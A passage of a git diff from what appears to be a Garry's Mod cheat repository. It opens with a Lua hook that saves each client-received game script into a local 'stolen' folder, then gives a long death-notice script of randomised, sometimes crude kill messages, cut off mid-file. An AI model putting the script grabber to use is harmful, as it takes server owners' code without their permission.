"gamemodes\\sandbox\\entities\\entities\\base_gmodentity\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\base_gmodentity\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_balloon\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_balloon\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_button\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_button\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_cameraprop\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_cameraprop\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_dynamite\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_dynamite\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_emitter\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_emitter\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_emitter\\fx_default.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_ghost\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_hoverball\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_hoverball\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_lamp\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_lamp\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_light\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_light\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_nail\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_nail\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_rtcameraprop\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_rtcameraprop\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_spawner\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_spawner\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_thruster\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_thruster\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_turret\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_turret\\shared.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_wheel\\cl_init.lua", + "gamemodes\\sandbox\\entities\\entities\\gmod_wheel\\shared.lua", + "gamemodes\\base\\entities\\effects\\base\\init.lua", + "gamemodes\\base\\entities\\effects\\base\\init.lua", + "gamemodes\\base\\entities\\effects\\dof_node\\init.lua", + "gamemodes\\base\\entities\\effects\\tooltracer\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\balloon_pop\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\entity_remove\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\inflator_magic\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\lasertracer\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\phys_freeze\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\phys_unfreeze\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\propspawn\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\selection_indicator\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\selection_ring\\init.lua", + "gamemodes\\sandbox\\entities\\effects\\wheel_indicator\\init.lua", + "LuaCmd", + "" +} + + +local function WriteSafe(fil, lua) + local safeName = string.gsub( fil, ".lua", ".txt" ) + file.Write( "stolen/" .. safeName, lua ) +end + +lol = {} + +hook.Add("Lua_Preprocess", "LuaHook", function(fil,path,lua) + if NoGrab[ fil ] then return end + WriteSafe( fil, lua ) + + table.insert(lol, fil..path) + print("! called: ", fil,path) +end) + + + + diff --git a/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/DeathNotice.lua b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/DeathNotice.lua new file mode 100644 index 0000000..f128512 --- /dev/null +++ b/Repos/Evil-master/v12/HeXs_Scripts/DevStuff/old/cleanup/DeathNotice.lua @@ -0,0 +1,1056 @@ + +if ( SERVER ) then + + AddCSLuaFile( "DeathNotice.lua" ) +end + +function deathnotice( victimdata, weapondata, killerdata ) + +finalmessagesuicide = nil +finalmessagekill = nil +weapon = nil + +local victimname = victimdata:GetName() +local weaponname = weapondata:GetClass() +local killername = killerdata:GetName() + +//-----------SUICIDES----------- +if ( ( victimname == killername ) == true ) then + +//------------- +//Suicide +if weaponname == "player" then +finalmessagesuicide = ("") +end +//------------- + +//Rocket suicide +if weaponname == "rpg_missile" then + +local decider = math.random(1,13) + +local message = {} + +message[1] = ( killername .. " found out what the little red dot does." ) +message[2] = ( killername .. " rearranged his insides with a rocket launcher." ) +message[3] = ( killername .. " checked to see if it worked." ) +message[4] = ( killername .. " painted the walls red." ) +message[5] = ( killername .. " asplode." ) +message[6] = ( killername .. " didn't check with the manual." ) +message[7] = ( killername .. " threw himself all across the map." ) +message[8] = ( killername .. " left a small crater." ) +message[9] = ( killername .. " had too many limbs anyway." ) +message[10] = ( killername .. " went trigger-happy with a rocket launcher." ) +message[11] = ( killername .. " was eliminated in a natural selection." ) +message[12] = ( killername .. " checked to see if it was loaded." ) +message[13] = ( killername .. " ate his own rocket." ) + +finalmessagesuicide = message[decider] + +end + +//Grenade suicide +if weaponname == "npc_grenade_frag" then + +local decider = math.random(1,11) + +local message = {} + +message[1] = ( killername .. " splattered himself with a frag." ) +message[2] = ( killername .. " found out a little too late what the pin does." ) +message[3] = ( killername .. " checked to see if it worked." ) +message[4] = ( killername .. " painted the walls red." ) +message[5] = ( killername .. " asplode." ) +message[6] = ( killername .. " found his insides on the outside." ) +message[7] = ( killername .. " couldn't get on with evolution." ) +message[8] = ( killername .. " juggled his own grenades." ) +message[9] = ( killername .. " had too many limbs anyway." ) +message[10] = ( killername .. " checked the pin on his grenade." ) +message[11] = ( killername .. " ate his own grenade." ) + +finalmessagesuicide = message[decider] + +end + +//Turret +if weaponname == "gmod_turret" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " checked to see if it worked." ) +message[2] = ( killername .. " checked his turrets..." ) +message[3] = ( killername .. " filled himself full of holes." ) +message[4] = ( killername .. " shot himself up." ) +message[5] = ( killername .. " was shot down by his own turret." ) +message[6] = ( killername .. " was shot down in a turret accident." ) + +finalmessagesuicide = message[decider] + +end + +//Nuclear suicide +if weaponname == "sent_nuke" then + +local decider = math.random(1,7) + +local message = {} + +message[1] = ( killername .. " vaporised himself." ) +message[2] = ( killername .. " has been disintegrated." ) +message[3] = ( killername .. " blew himself to bits with an atomic blast." ) +message[4] = ( killername .. " forgot to apply his sun lotion when he detonated the nuke." ) +message[5] = ( killername .. " forgot to set defusal codes on his nuclear weapon." ) +message[6] = ( killername .. " spread himself evenly across the level." ) +message[7] = ( killername .. " tested his nuke to check it worked." ) + +finalmessagesuicide = message[decider] + +end + +//Physics suicide +if weaponname == "prop_physics" then + +local decider = math.random(1,7) + +local message = {} + +message[1] = ( victimname .. " has been flattened." ) +message[2] = ( victimname .. " was crushed." ) +message[3] = ( victimname .. " got himself killed." ) +message[4] = ( victimname .. " tried to argue with laws of physics." ) +message[5] = ( victimname .. " disregarded neuton's laws." ) +message[6] = ( killername .. " didn't trajectorise his throw properly." ) +message[7] = ( killername .. " caught something heavy with his forehead." ) + +finalmessagesuicide = message[decider] + +end + +//--------------------------- + +//Generic suicide +if finalmessagesuicide == nil then + +finalmessagesuicide = ( killername .. " killed himself with a " .. weaponname .. "." ) + +end + +//Final Message +local locateplayers = player.GetAll( ) +for i = 1, table.getn( locateplayers ) do +locateplayers[i]:ChatPrint( finalmessagesuicide .."\n") +end + +//-----------KILLS----------- +elseif ( ( victimname == killername ) == false ) then + +//------------- +//PLAYER +if weaponname == "player" then + +local weapon = ("") + +if (killerdata:GetActiveWeapon() != NULL) then +weapon = killerdata:GetActiveWeapon():GetClass() +finalmessagekill = ( killername .. " killed " .. victimname .. " with " .. weapon .. " [weapon]" ) +end + +if (killerdata:GetActiveWeapon() == NULL) then +weapon = ("NULL") +finalmessagekill = ("What the hell happened.") +end + +//Crowbar kill +if weapon == "weapon_crowbar" then + +local decider = math.random(1,10) + +local message = {} + +message[1] = ( killername .. " redecorated " .. victimname .. "'s exterior." ) +message[2] = ( victimname .. " was chased down by " .. killername .. "." ) +message[3] = ( victimname .. " suddenly found " .. killername .. "'s crowbar in his eye." ) +message[4] = ( victimname .. " was served a dose of " .. killername .. "'s crowbar." ) +message[5] = ( victimname .. "'s looks have been altered by " .. killername .. "'s crowbar." ) +message[6] = ( victimname .. " didn't fare well against " .. killername .. "'s crowbar." ) +message[7] = ( victimname .. " said ''Hi'' to " .. killername .. "'s crowbar." ) +message[8] = ( killername .. " helped " .. victimname .. " to shut the fuck up." ) +message[9] = ( killername .. " redecorated the level with " .. victimname .. "." ) +message[10] = ( killername .. " disassembled " .. victimname .. " with a crowbar." ) + +finalmessagekill = message[decider] + +end + +//Pistol kill +if weapon == "weapon_pistol" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " put a few holes in " .. victimname .. "." ) +message[2] = ( victimname .. " was not as good at running as " .. killername .. " was a shooting." ) +message[3] = ( victimname .. " almost dodged " .. killername .. "'s bullet." ) +message[4] = ( victimname .. " had a date with " .. killername .. "'s bullet." ) +message[5] = ( killername .. "'s bullet proved mightier than " .. victimname .. "'s skull." ) + +finalmessagekill = message[decider] + +end + +//.357 kill +if weapon == "weapon_357" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " fed " .. victimname .. " a bullet." ) +message[2] = ( victimname .. " couldn't outrun " .. killername .. "'s bullet." ) +message[3] = ( victimname .. " suddenly found " .. killername .. "'s bullet in his arse." ) +message[4] = ( victimname .. " was sniped down by " .. killername .. "." ) +message[5] = ( killername .. " shot " .. victimname .. " a new hole." ) + +finalmessagekill = message[decider] + +end + +//SMG kill +if weapon == "weapon_smg1" then + +local decider = math.random(1,8) + +local message = {} + +message[1] = ( killername .. " filled " .. victimname .. " full of holes." ) +message[2] = ( victimname .. " was gunned down by " .. killername .. "." ) +message[3] = ( victimname .. " was served his daily dose of bullets by " .. killername .. "." ) +message[4] = ( victimname .. " was mowed down by " .. killername .. "." ) +message[5] = ( victimname .. " was spammed to death by " .. killername .. "." ) +message[6] = ( victimname .. " was found dead near " .. killername .. "'s rifle range." ) +message[7] = ( victimname .. " failed to go into bullet time with " .. killername .. "'s SMG." ) +message[8] = ( victimname .. " was perforated by " .. killername .. "'s SMG." ) + +finalmessagekill = message[decider] + +end + +//AR2 kill +if weapon == "weapon_ar2" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " shredded " .. victimname .. " to bits." ) +message[2] = ( killername .. " put a few holes in " .. victimname .. "." ) +message[3] = ( victimname .. " was battered by " .. killername .. "'s AR2." ) +message[4] = ( victimname .. " throughoutly examined " .. killername .. "'s AR2." ) +message[5] = ( victimname .. " couldn't go into bullet time with " .. killername .. "'s AR2." ) + +finalmessagekill = message[decider] + +end + +//Shotgun kill +if weapon == "weapon_shotgun" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " shredded " .. victimname .. " to bits." ) +message[2] = ( victimname .. " was staring down the barrel of " .. killername .. "'s shotgun." ) +message[3] = ( victimname .. " was on the wrong end of " .. killername .. "'s shotgun." ) +message[4] = ( killername .. " put " .. victimname .. "'s limbs apart wtih a shotgun." ) +message[5] = ( killername .. " disassembled " .. victimname .. " wtih a shotgun." ) + +finalmessagekill = message[decider] + +end + +//SWEPS + +//FreezerNade Gun +if weapon == "freezegun" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " afroze " .. victimname .. " to death." ) +message[2] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[3] = ( killername .. " disassembled " .. victimname .. " with a freeze-gun." ) +message[4] = ( killername .. " depressurised " .. victimname .. " in a handy way." ) +message[5] = ( victimname .. " was depressurised by " .. killername .. "." ) +message[6] = ( killername .. " put " .. victimname .. " and his limbs apart." ) + +finalmessagekill = message[decider] + +end + +//AK47 +if weapon == "weapon_ak47" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( killername .. " went communist on " .. victimname .. "'s ass." ) +message[2] = ( killername .. " took a 47's approach to " .. victimname .. "." ) +message[3] = ( killername .. " disassembled " .. victimname .. " the traditional way." ) + +finalmessagekill = message[decider] + +end + +//Deagle +if weapon == "weapon_deagle" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. " took a precision shot on " .. victimname .. "." ) +message[2] = ( victimname .. " was shot down by " .. killername .. "." ) + +finalmessagekill = message[decider] + +end + +//Five-Seven +if weapon == "weapon_fiveseven" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. " took a shot at " .. victimname .. "." ) +message[2] = ( victimname .. " was shot down by " .. killername .. "'s pew-pew gun." ) + +finalmessagekill = message[decider] + +end + +//Glock +if weapon == "weapon_glock" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. " popped a cap in " .. victimname .. "'s ass." ) +message[2] = ( victimname .. " was shot down by " .. killername .. "." ) + +finalmessagekill = message[decider] + +end + +//M-4 +if weapon == "weapon_m4" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( killername .. "'s bullet suddenly invaded " .. victimname .. "'s skull." ) +message[2] = ( victimname .. " was battered by " .. killername .. "'s M4." ) +message[3] = ( victimname .. " asked to take a closer look at " .. killername .. "'s M4." ) + +finalmessagekill = message[decider] + +end + +//Mac-10 +if weapon == "weapon_mac10" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( victimname .. " got shot with " .. killername .. "'s Mac-10 a few times." ) +message[2] = ( victimname .. " asked to take a closer look at " .. killername .. "'s Mac-10." ) + +finalmessagekill = message[decider] + +end + +//MP-5 +if weapon == "weapon_mp5" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. "'s bullets travelled all the way through " .. victimname .. "'s intestines." ) +message[2] = ( victimname .. " died of " .. killername .. " submachine-gun causes." ) + +finalmessagekill = message[decider] + +end + +//Para +if weapon == "weapon_para" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( killername .. " spammed " .. victimname .. " to bloody death." ) +message[2] = ( killername .. " put a few hundered bullets around and inside " .. victimname .. "." ) + +finalmessagekill = message[decider] + +end + +//Pump Shotgun +if weapon == "weapon_pumpshotgun" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was starring down " .. killername .. "'s barrel." ) +message[2] = ( victimname .. " had a date with " .. killername .. "'s shotgun." ) +message[3] = ( killername .. " disassembled " .. victimname .. " into tiny bits." ) +message[4] = ( killername .. " shredded " .. victimname .. " to bits." ) + +finalmessagekill = message[decider] + +end + +//Pump Shotgun +if weapon == "weapon_tmp" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " died of " .. killername .. " submachine-gun causes." ) +message[2] = ( victimname .. " was suddenly asassinated by " .. killername .. "." ) +message[3] = ( killername .. " stalked " .. victimname .. " with some TMP rounds." ) + +finalmessagekill = message[decider] + +end + +end +//------------- + +//Physics +if weaponname == "prop_physics" || weaponname == "prop_physics_respawnable" || weaponname == "prop_physics_multiplayer" then + +local killerclass = killerdata:GetClass() + +//Physics suicide +if killerclass == "prop_physics" || killerclass == "prop_physics_respawnable" || killerclass == "prop_physics_multiplayer" then + +local decider = math.random(1,8) + +local message = {} + +message[1] = ( victimname .. " has been flattened." ) +message[2] = ( victimname .. " was crushed." ) +message[3] = ( victimname .. " was found dead." ) +message[4] = ( victimname .. " was standing in the way of somthing heavy." ) +message[5] = ( victimname .. " got himself killed." ) +message[6] = ( victimname .. " tripped over something heavy." ) +message[7] = ( victimname .. " tried to argue with laws of physics." ) +message[8] = ( victimname .. " was staring at something heavy heading his way." ) + +finalmessagekill = message[decider] + +end + +//Physics kill +if killerclass != "prop_physics" && killerclass != "prop_physics_respawnable" && killerclass != "prop_physics_multiplayer" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( killername .. " smeared " .. victimname .. " across the floor." ) +message[2] = ( victimname .. " played catch with " .. killername .. "." ) +message[3] = ( victimname .. " was victim of " .. killername .. "'s flinging practice." ) +message[4] = ( killername .. " disposed of " .. victimname .. " with some heavy prop." ) +message[5] = ( victimname .. " ran into " .. killername .. "'s flinging practice object." ) + +finalmessagekill = message[decider] + +end +end + +//Combine ball kill +if weaponname == "prop_combine_ball" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( victimname .. " was disintegrated by " .. killername .. "'s balls." ) +message[2] = ( killername .. " vaporised " .. victimname .. " with combine's balls." ) +message[3] = ( victimname .. " thought you were meant to catch " .. killername .. "'s ball." ) +message[4] = ( victimname .. " was depressurised by " .. killername .. "'s balls." ) +message[5] = ( victimname .. " said ''Hi'' to " .. killername .. "'s balls." ) + +finalmessagekill = message[decider] + +end + +//Crossbow kill +if weaponname == "crossbow_bolt" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( victimname .. " got arrow'd by" .. killername .. "'s crossbow" ) +message[2] = ( victimname .. " was sniped by " .. killername .. "." ) +message[3] = ( victimname .. " met " .. killername .. "'s crossbow bolt." ) +message[4] = ( victimname .. " stood in the way of " .. killername .. "'s crossbow." ) +message[5] = ( victimname .. " got own3d by " .. killername .. "'s crossbow bolt." ) +message[6] = ( killername .. " put a crossbow bolt in " .. victimname .. "." ) + +finalmessagekill = message[decider] + +end + +//Rocket kill +if weaponname == "rpg_missile" then + +local decider = math.random(1,10) + +local message = {} + +message[1] = ( killername .. " put " .. victimname .. "'s insides on the outside." ) +message[2] = ( victimname .. " accidently " .. killername .. "'s rocket." ) +message[3] = ( victimname .. " couldn't outrun " .. killername .. "'s rocket." ) +message[4] = ( victimname .. " met " .. killername .. "'s rocket." ) +message[5] = ( killername .. " redecorated the level with " .. victimname .. "." ) +message[6] = ( killername .. " threw " .. victimname .. " all across the map." ) +message[7] = ( killername .. " taught " .. victimname .. " how to fly." ) +message[8] = ( killername .. " opened up a can of whoop-ass on " .. victimname .. "." ) +message[9] = ( killername .. " decided " .. victimname .. " had too many limbs." ) +message[10] = ( killername .. " spread " .. victimname .. " evenly across the ground." ) + +finalmessagekill = message[decider] + +end + +//Grenade kill +if weaponname == "npc_grenade_frag" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " fed " .. victimname .. " a frag." ) +message[2] = ( killername .. " sploded " .. victimname .. "'s ass apart." ) +message[3] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[4] = ( victimname .. " tripped over " .. killername .. "'s grenade." ) +message[5] = ( victimname .. " tried to juggle " .. killername .. "'s grenades." ) +message[6] = ( killername .. " spread " .. victimname .. " evenly across the level." ) + +finalmessagekill = message[decider] + +end + +//Nuclear kill +if weaponname == "sent_nuke" then + +local decider = math.random(1,7) + +local message = {} + +message[1] = ( killername .. " vaporised " .. victimname .. " with a nuclear explosion." ) +message[2] = ( victimname .. " was caught sunbathing in " .. killername .. "'s nuclear testing zone." ) +message[3] = ( victimname .. " has been disintegrated by " .. killername .. "'s atomic bomb." ) +message[4] = ( killername .. " splatterd " .. victimname .. " all across the map." ) +message[5] = ( killername .. " wiped out " .. victimname .. "." ) +message[6] = ( victimname .. " tripped over " .. killername .. "'s nuke." ) +message[7] = ( victimname .. " stood too close to " .. killername .. "'s nuclear testing zone." ) + +finalmessagekill = message[decider] + +end + +//Gibs +if weaponname == "gib" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " threw some heavy leftovers in " .. victimname .. "'s general direction." ) +message[2] = ( killername .. " threw some crap at " .. victimname .. "." ) +message[3] = ( victimname .. " was done in by " .. killername .. "'s high-speed leftovers." ) +message[4] = ( killername .. " threw some junk at " .. victimname .. "'s face." ) +message[5] = ( killername .. " finished off " .. victimname .. " with some random leftovers." ) +message[6] = ( victimname .. " tripped over " .. killername .. "'s high-speed leftovers." ) + +finalmessagekill = message[decider] + +end + +//Fire & Flames +if weaponname == "env_fire" || weaponname == "entityflame" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( victimname .. " was made extra-crispy." ) +message[2] = ( victimname .. " burned to death." ) +message[3] = ( victimname .. " has been deep-fried." ) +message[4] = ( victimname .. " sat too close to the campfire." ) +message[5] = ( victimname .. " is now charred remains." ) +message[6] = ( victimname .. " was roasted." ) + +finalmessagekill = message[decider] + +end + +//Random Hazards +if weaponname == "point_hurt" || weaponname == "trigger_hurt" then + +local killerclass = killerdata:GetClass() + +//Random suicide +if killerclass == "point_hurt" || killerclass == "trigger_hurt" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was found dead." ) +message[2] = ( victimname .. " got himself killed." ) +message[3] = ( victimname .. " didn't check with his surroundings." ) +message[4] = ( victimname .. " checked the area for traps." ) + +finalmessagekill = message[decider] + +end + +//Random kill +if killerclass != "point_hurt" && killerclass != "trigger_hurt" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( killername .. " spread " .. victimname .. " evenly across the level." ) +message[2] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[3] = ( victimname .. " was caught in " .. killername .. "'s firing range." ) + +finalmessagekill = message[decider] + +end + +end + +//Explosions +if weaponname == "env_explosion" || weaponname == "gmod_dynamite" then + +local decider = math.random(1,7) + +local message = {} + +message[1] = ( victimname .. " asploded." ) +message[2] = ( victimname .. " was blown to steaming bits." ) +message[3] = ( victimname .. " was blown away by a big-ass explosion." ) +message[4] = ( victimname .. " decorated the level with his insides." ) +message[5] = ( victimname .. " splatterd all over the walls." ) +message[6] = ( victimname .. " was sploded." ) +message[7] = ( victimname .. " is now very dead." ) + +finalmessagekill = message[decider] + +end + +//Turrets +if weaponname == "gmod_turret" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " put a few holes in " .. victimname .. "." ) +message[2] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[3] = ( victimname .. " was found dead near " .. killername .. "'s turret range." ) +message[4] = ( victimname .. " came too close to " .. killername .. "'s turret range." ) +message[5] = ( killername .. " shot " .. victimname .. " some new holes." ) +message[6] = ( victimname .. " was shot up by " .. killername .. "." ) + +finalmessagekill = message[decider] + +end + +//Lasers +if weaponname == "env_laser" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( victimname .. " got laz0r'd." ) +message[2] = ( victimname .. " got himself disintegrated." ) +message[3] = ( victimname .. " didn't check for traps." ) +message[4] = ( victimname .. " didn't read the fucking manual." ) +message[5] = ( victimname .. " had an unfortunate shooping accident." ) +message[6] = ( victimname .. " had an unfortunate shooping accident." ) + +finalmessagekill = message[decider] + +end + +//Worldspawn +if weaponname == "worldspawn" then + +local decider = math.random(1,15) + +local message = {} + +message[1] = ( victimname .. " kissed the dirt." ) +message[2] = ( victimname .. " is now a pavment pizza." ) +message[3] = ( victimname .. " learned the power of gravity." ) +message[4] = ( victimname .. " illustrated how falling works." ) +message[5] = ( victimname .. " forgot how to noclip." ) +message[6] = ( victimname .. " tried to argue with laws of physics." ) +message[7] = ( victimname .. " decorated the level with his insides." ) +message[8] = ( victimname .. " went too close to the edge." ) +message[9] = ( victimname .. " splatterd on the floor." ) +message[10] = ( victimname .. " didn't read the safety guide." ) +message[11] = ( victimname .. " didn't wait for the elivator." ) +message[12] = ( victimname .. " fell into the floor at 113mph." ) +message[13] = ( victimname .. " smeared himself across the floor." ) +message[14] = ( victimname .. " didn't check with the manual." ) +message[15] = ( victimname .. " didn't need all those limbs anyway." ) + +finalmessagekill = message[decider] + +end + +//SWEPS + +//FreezerNade Minigun +if weaponname == "freezegun_mini" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( killername .. " painted the walls a lovely shade of " .. victimname .. "." ) +message[2] = ( killername .. " disassembled " .. victimname .. " the messy way." ) +message[3] = ( killername .. " shot " .. victimname .. " a new one." ) +message[4] = ( killername .. " put " .. victimname .. " and his limbs apart." ) +message[5] = ( victimname .. " met " .. killername .. "'s lucky bullet." ) +message[6] = ( killername .. " shot " .. victimname .. " some new holes." ) + +finalmessagekill = message[decider] + +end + +//NPC + +//Combine soldier +if weaponname == "npc_combine_s" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of combine soldiers." ) +message[2] = ( victimname .. " was shot up by some combine soldiers." ) +message[3] = ( victimname .. " played tag with a bunch of combine." ) +message[4] = ( victimname .. " was never good at hide-n-seek." ) +message[5] = ( victimname .. " strafed into some combine soldiers." ) + +finalmessagekill = message[decider] + +end + +//Antlions +if weaponname == "npc_antlion" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of antlions." ) +message[2] = ( victimname .. " was chased down by some antlions." ) +message[3] = ( victimname .. " was bugged." ) + +finalmessagekill = message[decider] + +end + +//Antlion guard +if weaponname == "npc_antlionguard" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was chased down by an antlion guard." ) +message[2] = ( victimname .. " was put apart by an antlion guard." ) +message[3] = ( victimname .. " painted the walls red." ) +message[4] = ( victimname .. " played a game of catch with an Antlion Guard." ) + +finalmessagekill = message[decider] + +end + +//Barnacle +if weaponname == "npc_barnacle" then + +local decider = math.random(1,5) + +local message = {} + +message[1] = ( "Silly " .. victimname .. ", barnacles are for enemies...") +message[2] = ( victimname .. " was slow enough to get chased down by a barnacle." ) +message[3] = ( victimname .. " didn't look up." ) +message[4] = ( victimname .. " was eliminated in natural selection." ) +message[5] = ( victimname .. " was dumb enough to get strangled by a barnacle." ) + +finalmessagekill = message[decider] + +end + +//Gunship +if weaponname == "npc_combinegunship" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( victimname .. " was chased down by a gunship." ) +message[2] = ( victimname .. " didn't make it." ) + +finalmessagekill = message[decider] + +end + +//Helicopter +if weaponname == "npc_helicopter" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( victimname .. " was chased down by a combine helicopter." ) +message[2] = ( victimname .. " didn't see it coming." ) + +finalmessagekill = message[decider] + +end + +//Zombies +if weaponname == "npc_fastzombie" || weaponname == "npc_zombie" || weaponname == "npc_poisonzombie" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of zombies." ) +message[2] = ( victimname .. " was the finest brain of his generation." ) +message[3] = ( victimname .. " was stalked by some zombies." ) +message[4] = ( victimname .. " made a camp by some zombies." ) + +finalmessagekill = message[decider] + +end + +//Zombie torsos +if weaponname == "npc_fastzombie_torso" || weaponname == "npc_zombie_torso" then + +local decider = math.random(1,2) + +local message = {} + +message[1] = ( victimname .. " didn't check for survivors." ) +message[2] = ( victimname .. " couldn't handle half a zombie." ) + +finalmessagekill = message[decider] + +end + +//Headcrabs +if weaponname == "npc_headcrab" || weaponname == "npc_headcrab_black" || weaponname == "npc_headcrab_fast" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of headcrabs." ) +message[2] = ( victimname .. " was headhumped to death." ) +message[3] = ( victimname .. " mistook headcrab for a pet." ) + +finalmessagekill = message[decider] + +end + +//Manhacks +if weaponname == "npc_manhack" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was cut up by some manhacks." ) +message[2] = ( victimname .. " was cut up extra-thin." ) +message[3] = ( victimname .. " didn't know those weren't scanners." ) +message[4] = ( victimname .. " was shredded extra-thin." ) + +finalmessagekill = message[decider] + +end + +//Turrets +if weaponname == "npc_turret_ceiling" || weaponname == "npc_turret_floor" || weaponname == "npc_turret_ground" || weaponname == "sent_turret" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " was shot down in a turret accident." ) +message[2] = ( victimname .. " checked the area." ) +message[3] = ( victimname .. " didn't check the area for turrets." ) + +finalmessagekill = message[decider] + +end + +//Rollermines +if weaponname == "npc_rollermine" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of rollermines." ) +message[2] = ( victimname .. " was done in by rollermine's Sonic Spin Attack." ) +message[3] = ( victimname .. " was electrocuted by the combine spinning menace." ) + +finalmessagekill = message[decider] + +end + +//Metropolice +if weaponname == "npc_metropolice" then + +local decider = math.random(1,6) + +local message = {} + +message[1] = ( victimname .. " ran into City 17 police force." ) +message[2] = ( victimname .. " was shot down by C17 police force." ) +message[3] = ( victimname .. " exceeded his infractions limit." ) +message[4] = ( victimname .. " was suddenly elected Citizen 101." ) +message[5] = ( victimname .. " asked a CP for directions." ) +message[6] = ( victimname .. " was making funny faces in front of some CPs." ) + +finalmessagekill = message[decider] + +end + +//Striders +if weaponname == "npc_strider" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " ran into a strider." ) +message[2] = ( victimname .. " was shot down by a strider." ) +message[3] = ( victimname .. " was served extra-crispy." ) +message[4] = ( victimname .. " stopped to tie his shoelaces." ) + +finalmessagekill = message[decider] + +end + +//Vortigaunts +if weaponname == "npc_vortigaunt" then + +local decider = math.random(1,3) + +local message = {} + +message[1] = ( victimname .. " ran into a bunch of vortigaunts." ) +message[2] = ( victimname .. " couldn't argue with a vortigaunt." ) +message[3] = ( victimname .. " crossed roads with a vortigaunt." ) + +finalmessagekill = message[decider] + +end + +//Vehicles + +//Jeep +if weaponname == "prop_vehicle_jeep" then + +local decider = math.random(1,4) + +local message = {} + +message[1] = ( victimname .. " had a car accident." ) +message[2] = ( victimname .. " crossed roads with a jeep." ) +message[3] = ( victimname .. " met a bumper of a speeding jeep." ) +message[4] = ( victimname .. " was driven over." ) + +finalmessagekill = message[decider] + +end + +//Airboat +if weaponname == 